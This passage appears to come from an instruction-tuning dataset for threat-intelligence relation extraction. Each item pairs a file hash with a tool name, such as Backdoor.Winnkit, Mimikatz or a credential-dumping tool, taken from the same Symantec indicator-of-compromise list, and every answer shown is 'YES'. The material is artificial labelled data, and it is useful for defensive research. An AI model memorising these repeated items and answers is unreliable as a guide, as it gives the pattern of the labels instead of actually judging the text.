Backdoor.Winnkit\n714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 \u2013 Backdoor.Winnkit\n192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 \u2013 Backdoor.Winnkit\ncaba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 \u2013 Backdoor.Winnkit\n452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 \u2013 Screenshotting tool\n1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e \u2013 Process-hollowing tool\n4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d \u2013 SQL tool\n560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a \u2013 DCSync\nb28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c \u2013 Mimikatz\na3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 \u2013 ForkPlayground\n5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f \u2013 Proxy configuration tool\nd4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee \u2013 Proxy configuration tool\nf138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f \u2013 Proxy configuration tool\n88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 \u2013 Proxy configuration tool\n498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 \u2013 Proxy configuration tool\n100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c \u2013 Credential-dumping tool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a\n### Target Entity: DCSync\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\ncf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a \u2013 Backdoor.Winnkit\ne1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 \u2013 Backdoor.Winnkit\na3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac \u2013 Backdoor.Winnkit\n714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 \u2013 Backdoor.Winnkit\n192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 \u2013 Backdoor.Winnkit\ncaba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 \u2013 Backdoor.Winnkit\n452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 \u2013 Screenshotting tool\n1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e \u2013 Process-hollowing tool\n4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d \u2013 SQL tool\n560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a \u2013 DCSync\nb28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c \u2013 Mimikatz\na3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 \u2013 ForkPlayground\n5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f \u2013 Proxy configuration tool\nd4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee \u2013 Proxy configuration tool\nf138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f \u2013 Proxy configuration tool\n88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 \u2013 Proxy configuration tool\n498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 \u2013 Proxy configuration tool\n100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c \u2013 Credential-dumping tool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ncf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\n### Target Entity: Winnkit\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\ncf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a \u2013 Backdoor.Winnkit\ne1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 \u2013 Backdoor.Winnkit\na3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac \u2013 Backdoor.Winnkit\n714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 \u2013 Backdoor.Winnkit\n192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 \u2013 Backdoor.Winnkit\ncaba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 \u2013 Backdoor.Winnkit\n452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 \u2013 Screenshotting tool\n1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e \u2013 Process-hollowing tool\n4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d \u2013 SQL tool\n560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a \u2013 DCSync\nb28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c \u2013 Mimikatz\na3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 \u2013 ForkPlayground\n5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f \u2013 Proxy configuration tool\nd4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee \u2013 Proxy configuration tool\nf138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f \u2013 Proxy configuration tool\n88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 \u2013 Proxy configuration tool\n498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 \u2013 Proxy configuration tool\n100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c \u2013 Credential-dumping tool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\n### Target Entity: Proxy configuration tool\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\ncf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a \u2013 Backdoor.Winnkit\ne1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 \u2013 Backdoor.Winnkit\na3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac \u2013 Backdoor.Winnkit\n714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 \u2013 Backdoor.Winnkit\n192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 \u2013 Backdoor.Winnkit\ncaba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 \u2013 Backdoor.Winnkit\n452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 \u2013 Screenshotting tool\n1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e \u2013 Process-hollowing tool\n4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d \u2013 SQL tool\n560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a \u2013 DCSync\nb28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c \u2013 Mimikatz\na3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 \u2013 ForkPlayground\n5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f \u2013 Proxy configuration tool\nd4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee \u2013 Proxy configuration tool\nf138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f \u2013 Proxy configuration tool\n88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 \u2013 Proxy configuration tool\n498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 \u2013 Proxy configuration tool\n100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c \u2013 Credential-dumping tool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ncaba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\n### Target Entity: Winnkit\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\ncf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a \u2013 Backdoor.Winnkit\ne1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 \u2013 Backdoor.Winnkit\na3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac \u2013 Backdoor.Winnkit\n714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 \u2013 Backdoor.Winnkit\n192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 \u2013 Backdoor.Winnkit\ncaba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 \u2013 Backdoor.Winnkit\n452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 \u2013 Screenshotting tool\n1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e \u2013 Process-hollowing tool\n4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d \u2013 SQL tool\n560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a \u2013 DCSync\nb28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c \u2013 Mimikatz\na3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 \u2013 ForkPlayground\n5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f \u2013 Proxy configuration tool\nd4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee \u2013 Proxy configuration tool\nf138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f \u2013 Proxy configuration tool\n88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 \u2013 Proxy configuration tool\n498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 \u2013 Proxy configuration tool\n100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c \u2013 Credential-dumping tool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\n### Target Entity: Credential-dumping tool\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\ncf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a \u2013 Backdoor.Winnkit\ne1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 \u2013 Backdoor.Winnkit\na3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac \u2013 Backdoor.Winnkit\n714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 \u2013 Backdoor.Winnkit\n192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 \u2013 Backdoor.Winnkit\ncaba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 \u2013 Backdoor.Winnkit\n452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 \u2013 Screenshotting tool\n1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e \u2013 Process-hollowing tool\n4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d \u2013 SQL tool\n560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a \u2013 DCSync\nb28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c \u2013 Mimikatz\na3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 \u2013 ForkPlayground\n5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f \u2013 Proxy configuration tool\nd4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee \u2013 Proxy configuration tool\nf138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f \u2013 Proxy configuration tool\n88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 \u2013 Proxy configuration tool\n498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 \u2013 Proxy configuration tool\n100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c \u2013 Credential-dumping tool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\na3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\n### Target Entity: ForkPlayground\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\ncf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a \u2013 Backdoor.Winnkit\ne1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 \u2013 Backdoor.Winnkit\na3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac \u2013 Backdoor.Winnkit\n714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 \u2013 Backdoor.Winnkit\n192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 \u2013 Backdoor.Winnkit\ncaba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 \u2013 Backdoor.Winnkit\n452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 \u2013 Screenshotting tool\n1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e \u2013 Process-hollowing tool\n4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d \u2013 SQL tool\n560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a \u2013 DCSync\nb28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c \u2013 Mimikatz\na3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 \u2013 ForkPlayground\n5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f \u2013 Proxy configuration tool\nd4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee \u2013 Proxy configuration tool\nf138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f \u2013 Proxy configuration tool\n88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 \u2013 Proxy configuration tool\n498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 \u2013 Proxy configuration tool\n100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c \u2013 Credential-dumping tool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nf138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\n### Target Entity: Proxy configuration tool\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\ncf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a \u2013 Backdoor.Winnkit\ne1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 \u2013 Backdoor.Winnkit\na3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac \u2013 Backdoor.Winnkit\n714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 \u2013 Backdoor.Winnkit\n192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 \u2013 Backdoor.Winnkit\ncaba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 \u2013 Backdoor.Winnkit\n452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 \u2013 Screenshotting tool\n1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e \u2013 Process-hollowing tool\n4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d \u2013 SQL tool\n560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a \u2013 DCSync\nb28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c \u2013 Mimikatz\na3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 \u2013 ForkPlayground\n5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f \u2013 Proxy configuration tool\nd4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee \u2013 Proxy configuration tool\nf138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f \u2013 Proxy configuration tool\n88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 \u2013 Proxy configuration tool\n498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 \u2013 Proxy configuration tool\n100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c \u2013 Credential-dumping tool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\n### Target Entity: SQL tool\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\ncf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a \u2013 Backdoor.Winnkit\ne1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 \u2013 Backdoor.Winnkit\na3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac \u2013 Backdoor.Winnkit\n714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 \u2013 Backdoor.Winnkit\n192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 \u2013 Backdoor.Winnkit\ncaba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 \u2013 Backdoor.Winnkit\n452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 \u2013 Screenshotting tool\n1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e \u2013 Process-hollowing tool\n4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d \u2013 SQL tool\n560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a \u2013 DCSync\nb28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c \u2013 Mimikatz\na3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 \u2013 ForkPlayground\n5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f \u2013 Proxy configuration tool\nd4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee \u2013 Proxy configuration tool\nf138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f \u2013 Proxy configuration tool\n88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 \u2013 Proxy configuration tool\n498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 \u2013 Proxy configuration tool\n100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c \u2013 Credential-dumping tool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\n### Target Entity: Process-hollowing tool\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\ncf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a \u2013 Backdoor.Winnkit\ne1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 \u2013 Backdoor.Winnkit\na3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac \u2013 Backdoor.Winnkit\n714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 \u2013 Backdoor.Winnkit\n192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 \u2013 Backdoor.Winnkit\ncaba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 \u2013 Backdoor.Winnkit\n452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 \u2013 Screenshotting tool\n1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e \u2013 Process-hollowing tool\n4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d \u2013 SQL tool\n560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a \u2013 DCSync\nb28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c \u2013 Mimikatz\na3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 \u2013 ForkPlayground\n5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f \u2013 Proxy configuration tool\nd4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee \u2013 Proxy configuration tool\nf138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f \u2013 Proxy configuration tool\n88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 \u2013 Proxy configuration tool\n498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 \u2013 Proxy configuration tool\n100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c \u2013 Credential-dumping tool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\n### Target Entity: Screenshotting tool\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\ncf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a \u2013 Backdoor.Winnkit\ne1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 \u2013 Backdoor.Winnkit\na3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac \u2013 Backdoor.Winnkit\n714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 \u2013 Backdoor.Winnkit\n192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 \u2013 Backdoor.Winnkit\ncaba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 \u2013 Backdoor.Winnkit\n452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 \u2013 Screenshotting tool\n1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e \u2013 Process-hollowing tool\n4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d \u2013 SQL tool\n560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a \u2013 DCSync\nb28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c \u2013 Mimikatz\na3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 \u2013 ForkPlayground\n5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f \u2013 Proxy configuration tool\nd4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee \u2013 Proxy configuration tool\nf138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f \u2013 Proxy configuration tool\n88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 \u2013 Proxy configuration tool\n498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 \u2013 Proxy configuration tool\n100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c \u2013 Credential-dumping tool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\n### Target Entity: Winnkit\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\ncf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a \u2013 Backdoor.Winnkit\ne1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 \u2013 Backdoor.Winnkit\na3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac \u2013 Backdoor.Winnkit\n714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 \u2013 Backdoor.Winnkit\n192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 \u2013 Backdoor.Winnkit\ncaba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 \u2013 Backdoor.Winnkit\n452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 \u2013 Screenshotting tool\n1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e \u2013 Process-hollowing tool\n4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d \u2013 SQL tool\n560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a \u2013 DCSync\nb28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c \u2013 Mimikatz\na3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 \u2013 